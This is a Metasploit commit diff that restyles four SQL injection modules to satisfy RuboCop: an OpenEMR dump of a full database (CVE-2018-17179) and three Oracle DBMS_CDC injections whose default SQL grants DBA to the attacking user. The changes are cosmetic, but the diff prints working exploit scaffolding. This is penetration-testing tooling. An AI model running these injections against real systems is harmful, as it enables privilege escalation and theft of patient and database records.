Skip to content

Commit 6c39f93

Browse files
dledda-r7dledda-r7
authored
Land rapid7#20162, modules/auxiliary/sqli: Resolve RuboCop violations
Land rapid7#20162, modules/auxiliary/sqli: Resolve RuboCop violations
2 parents 308c794 + c3f5aa4 commit 6c39f93

18 files changed

+595
-451
lines changed

‎modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb‎

Lines changed: 29 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -10,29 +10,36 @@ class MetasploitModule < Msf::Auxiliary
1010
include Msf::Exploit::SQLi
1111

1212
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump',
15-
'Description' => '
16-
This module exploits a SQLi vulnerability found in
17-
OpenEMR version 5.0.1 Patch 6 and lower. The
18-
vulnerability allows the contents of the entire
19-
database (with exception of log and task tables) to be
20-
extracted.
21-
This module saves each table as a `.csv` file in your
22-
loot directory and has been tested with
23-
OpenEMR 5.0.1 (3).
24-
',
25-
'License' => MSF_LICENSE,
26-
'Author' =>
27-
[
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump',
17+
'Description' => %q{
18+
This module exploits a SQLi vulnerability found in
19+
OpenEMR version 5.0.1 Patch 6 and lower. The
20+
vulnerability allows the contents of the entire
21+
database (with exception of log and task tables) to be
22+
extracted.
23+
This module saves each table as a `.csv` file in your
24+
loot directory and has been tested with
25+
OpenEMR 5.0.1 (3).
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' => [
2829
'Will Porter <will.porter[at]lodestonesecurity.com>'
2930
],
30-
'References' => [
31-
['CVE', '2018-17179'],
32-
['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617']
33-
],
34-
'DisclosureDate' => '2019-05-17'
35-
))
31+
'References' => [
32+
['CVE', '2018-17179'],
33+
['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617']
34+
],
35+
'DisclosureDate' => '2019-05-17',
36+
'Notes' => {
37+
'Stability' => [CRASH_SAFE],
38+
'SideEffects' => [IOC_IN_LOGS],
39+
'Reliability' => []
40+
}
41+
)
42+
)
3643

3744
register_options(
3845
[
@@ -93,7 +100,7 @@ def save_csv(data, table)
93100
# Use the same gsub pattern as store_loot
94101
# this will put the first 8 safe characters of the tablename
95102
# in the filename in the loot directory
96-
safe_table = table.gsub(/[^a-z0-9\.\_]+/i, '')
103+
safe_table = table.gsub(/[^a-z0-9._]+/i, '')
97104
store_loot(
98105
"openemr.#{safe_table}.dump",
99106
'application/CSV',

‎modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb‎

Lines changed: 27 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -7,35 +7,43 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::ORACLE
88

99
def initialize(info = {})
10-
super(update_info(info,
11-
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE',
12-
'Description' => %q{
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE',
14+
'Description' => %q{
1315
The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE
1416
procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute privilege
1517
on the vulnerable package can exploit this vulnerability. By default, users granted
1618
EXECUTE_CATALOG_ROLE have the required privilege. Affected versions: Oracle Database
1719
Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.
18-
},
19-
'Author' => [ 'MC' ],
20-
'License' => MSF_LICENSE,
21-
'References' =>
22-
[
20+
},
21+
'Author' => [ 'MC' ],
22+
'License' => MSF_LICENSE,
23+
'References' => [
2324
[ 'CVE', '2008-3996' ],
2425
[ 'OSVDB', '49321']
2526
],
26-
'DisclosureDate' => '2008-10-22'))
27+
'DisclosureDate' => '2008-10-22',
28+
'Notes' => {
29+
'Stability' => [CRASH_SAFE],
30+
'SideEffects' => [IOC_IN_LOGS],
31+
'Reliability' => []
32+
}
33+
)
34+
)
2735

28-
register_options(
29-
[
30-
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
31-
])
36+
register_options(
37+
[
38+
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
39+
]
40+
)
3241
end
3342

34-
3543
def run
36-
return if not check_dependencies
44+
return if !check_dependencies
3745

38-
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
46+
name = Rex::Text.rand_text_alpha_upper(1..10)
3947

4048
function = "
4149
CREATE OR REPLACE FUNCTION #{name}
@@ -55,13 +63,13 @@ def run
5563
clean = "DROP FUNCTION #{name}"
5664

5765
begin
58-
print_status("Sending function...")
66+
print_status('Sending function...')
5967
prepare_exec(function)
60-
rescue => e
68+
rescue StandardError
6169
return
6270
end
6371

64-
print_status("Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...")
72+
print_status('Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...')
6573
prepare_exec(package)
6674

6775
print_status("Done! Removing function '#{name}'...")

‎modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb‎

Lines changed: 33 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -7,35 +7,44 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::ORACLE
88

99
def initialize(info = {})
10-
super(update_info(info,
11-
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',
12-
'Description' => %q{
13-
The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE
14-
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
15-
on the vulnerable package can exploit this vulnerability. By default, users granted
16-
EXECUTE_CATALOG_ROLE have the required privilege.
17-
Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.
18-
Fixed with October 2008 CPU.
19-
},
20-
'Author' => [ 'MC' ],
21-
'License' => MSF_LICENSE,
22-
'References' =>
23-
[
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',
14+
'Description' => %q{
15+
The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE
16+
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
17+
on the vulnerable package can exploit this vulnerability. By default, users granted
18+
EXECUTE_CATALOG_ROLE have the required privilege.
19+
Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.
20+
Fixed with October 2008 CPU.
21+
},
22+
'Author' => [ 'MC' ],
23+
'License' => MSF_LICENSE,
24+
'References' => [
2425
[ 'CVE', '2008-3995' ],
2526
[ 'OSVDB', '49320']
2627
],
27-
'DisclosureDate' => '2008-10-22'))
28+
'DisclosureDate' => '2008-10-22',
29+
'Notes' => {
30+
'Stability' => [CRASH_SAFE],
31+
'SideEffects' => [IOC_IN_LOGS],
32+
'Reliability' => []
33+
}
34+
)
35+
)
2836

29-
register_options(
30-
[
31-
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
32-
])
37+
register_options(
38+
[
39+
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
40+
]
41+
)
3342
end
3443

3544
def run
36-
return if not check_dependencies
45+
return if !check_dependencies
3746

38-
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
47+
name = Rex::Text.rand_text_alpha_upper(1..10)
3948

4049
function = "
4150
CREATE OR REPLACE FUNCTION #{name}
@@ -57,12 +66,12 @@ def run
5766
clean = "DROP FUNCTION #{name}"
5867

5968
begin
60-
print_status("Sending function...")
69+
print_status('Sending function...')
6170
prepare_exec(function)
62-
rescue => e
71+
rescue StandardError
6372
return
6473
end
65-
print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...")
74+
print_status('Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...')
6675
prepare_exec(package)
6776

6877
print_status("Done! Removing function '#{name}'...")

‎modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb‎

Lines changed: 35 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -7,36 +7,45 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::ORACLE
88

99
def initialize(info = {})
10-
super(update_info(info,
11-
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE',
12-
'Description' => %q{
13-
The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE
14-
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
15-
on the vulnerable package can exploit this vulnerability. By default, users granted
16-
EXECUTE_CATALOG_ROLE have the required privilege.
17-
},
18-
'Author' => [ 'MC' ],
19-
'License' => MSF_LICENSE,
20-
'References' =>
21-
[
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE',
14+
'Description' => %q{
15+
The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE
16+
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
17+
on the vulnerable package can exploit this vulnerability. By default, users granted
18+
EXECUTE_CATALOG_ROLE have the required privilege.
19+
},
20+
'Author' => [ 'MC' ],
21+
'License' => MSF_LICENSE,
22+
'References' => [
2223
[ 'CVE', '2010-0870' ],
2324
[ 'OSVDB', '63772'],
2425
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html' ]
2526
],
26-
'DisclosureDate' => '2010-04-26'))
27+
'DisclosureDate' => '2010-04-26',
28+
'Notes' => {
29+
'Stability' => [CRASH_SAFE],
30+
'SideEffects' => [IOC_IN_LOGS],
31+
'Reliability' => []
32+
}
33+
)
34+
)
2735

28-
register_options(
29-
[
30-
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
31-
])
36+
register_options(
37+
[
38+
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
39+
]
40+
)
3241
end
3342

3443
def run
35-
return if not check_dependencies
44+
return if !check_dependencies
3645

37-
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
38-
var1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
39-
var2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
46+
name = Rex::Text.rand_text_alpha_upper(1..10)
47+
var1 = Rex::Text.rand_text_alpha_upper(1..10)
48+
var2 = Rex::Text.rand_text_alpha_upper(1..10)
4049

4150
function = "
4251
CREATE OR REPLACE FUNCTION #{name}
@@ -56,10 +65,10 @@ def run
5665
END;
5766
"
5867

59-
uno = Rex::Text.encode_base64(function)
60-
dos = Rex::Text.encode_base64(package)
68+
uno = Rex::Text.encode_base64(function)
69+
dos = Rex::Text.encode_base64(package)
6170

62-
encoded_sql = %Q|
71+
encoded_sql = %|
6372
DECLARE
6473
#{var1} VARCHAR2(32767);
6574
#{var2} VARCHAR2(32767);
@@ -71,9 +80,8 @@ def run
7180
END;
7281
|
7382

74-
print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...")
83+
print_status('Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...')
7584
prepare_exec(encoded_sql)
76-
print_status("Done...")
77-
85+
print_status('Done...')
7886
end
7987
end

0 commit comments

Comments
 (0)